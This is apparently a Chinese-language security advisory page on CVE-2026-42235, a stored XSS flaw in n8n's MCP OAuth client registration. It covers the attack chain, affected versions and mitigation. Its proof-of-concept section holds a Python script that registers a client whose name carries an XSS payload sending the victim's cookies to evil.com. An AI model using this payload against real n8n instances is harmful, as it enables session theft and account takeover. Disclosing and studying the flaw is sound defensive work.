IPBUF安全漏洞报告
English
CVE-2026-42235 CVSS 9.6 严重

CVE-2026-42235 n8n 存储型XSS漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42235
漏洞类型
存储型跨站脚本攻击 (Stored XSS)
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
n8n

相关标签

XSSn8nStored XSSOAuthWorkflow AutomationCVE-2026-42235

漏洞概述

n8n是一个开源工作流自动化平台。在1.123.32、2.17.4和2.18.1版本之前,存在一个严重的存储型XSS漏洞。未经身份验证的攻击者可以注册一个带有恶意`client_name`的MCP OAuth客户端。当受害者授权该OAuth对话框且另一用户随后撤销访问时,Toast通知将渲染注入的脚本。点击该链接将在受害者经过身份验证的n8n浏览器会话中执行任意JavaScript,从而可能导致凭证被盗、会话令牌窃取、工作流篡改或权限提升。

技术细节

该漏洞源于n8n在处理MCP (Model Context Protocol) OAuth客户端注册时的输入验证不足。攻击者无需认证即可注册一个新的OAuth客户端,并利用`client_name`参数注入恶意JavaScript代码。漏洞触发机制较为特殊:首先,攻击者诱导受害者授权该恶意客户端;其次,在系统正常的权限管理流程中,当有其他用户(或管理员)撤销该客户端的访问权限时,系统会触发一个Toast通知。由于该通知直接渲染了未经过滤的`client_name`,导致存储在数据库中的恶意脚本被加载。一旦受害者与通知区域交互(如点击链接),脚本即在受害者的浏览器上下文中执行。由于此时受害者已登录,攻击者可利用XSS窃取Session ID、API密钥,甚至调用n8n API修改工作流,实现完全的账户接管。

攻击链分析

STEP 1
步骤1:恶意注册
攻击者向n8n平台发送请求,注册一个包含恶意JavaScript代码的MCP OAuth客户端,Payload位于client_name字段中。
STEP 2
步骤2:诱导授权
攻击者诱导受害者用户点击并授权该恶意的OAuth客户端,使该客户端与受害者账户建立关联。
STEP 3
步骤3:触发撤销
当其他用户(如管理员或自动化脚本)撤销该恶意客户端的访问权限时,系统会尝试显示撤销成功的Toast通知。
STEP 4
步骤4:执行XSS
Toast通知组件直接渲染了未经过滤的client_name,导致恶意JavaScript代码在受害者的浏览器中执行。
STEP 5
步骤5:窃取数据
恶意脚本利用受害者的已登录会话,窃取Session Token、Cookie或执行API操作以控制工作流。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL for registering the MCP OAuth client # The endpoint might vary based on specific n8n configuration target_url = "http://target-n8n-instance.com/rest/mcp-clients" # Malicious payload to be executed in the victim's browser session # This payload attempts to steal the session cookie xss_payload = "<img src=x onerror='fetch(\"https://evil.com/steal?c=\"+document.cookie)'>" # Crafted malicious client name containing the XSS payload malicious_client_name = f"Evil Client {xss_payload}" payload = { "client_name": malicious_client_name, "redirect_uris": ["https://evil.com/callback"], "grant_types": ["authorization_code"] } # Sending registration request (Unauthenticated in vulnerable versions) response = requests.post(target_url, json=payload) if response.status_code == 201: print("Malicious client registered successfully.") print("Wait for victim to authorize and subsequent revocation to trigger XSS.") else: print("Registration failed.")

影响范围

n8n < 1.123.32
n8n < 2.17.4
n8n < 2.18.1

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用未认证用户的OAuth客户端注册功能,或限制仅有管理员可创建MCP客户端。同时,应检查现有已注册的客户端列表,移除任何可疑或名称包含异常字符的客户端。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表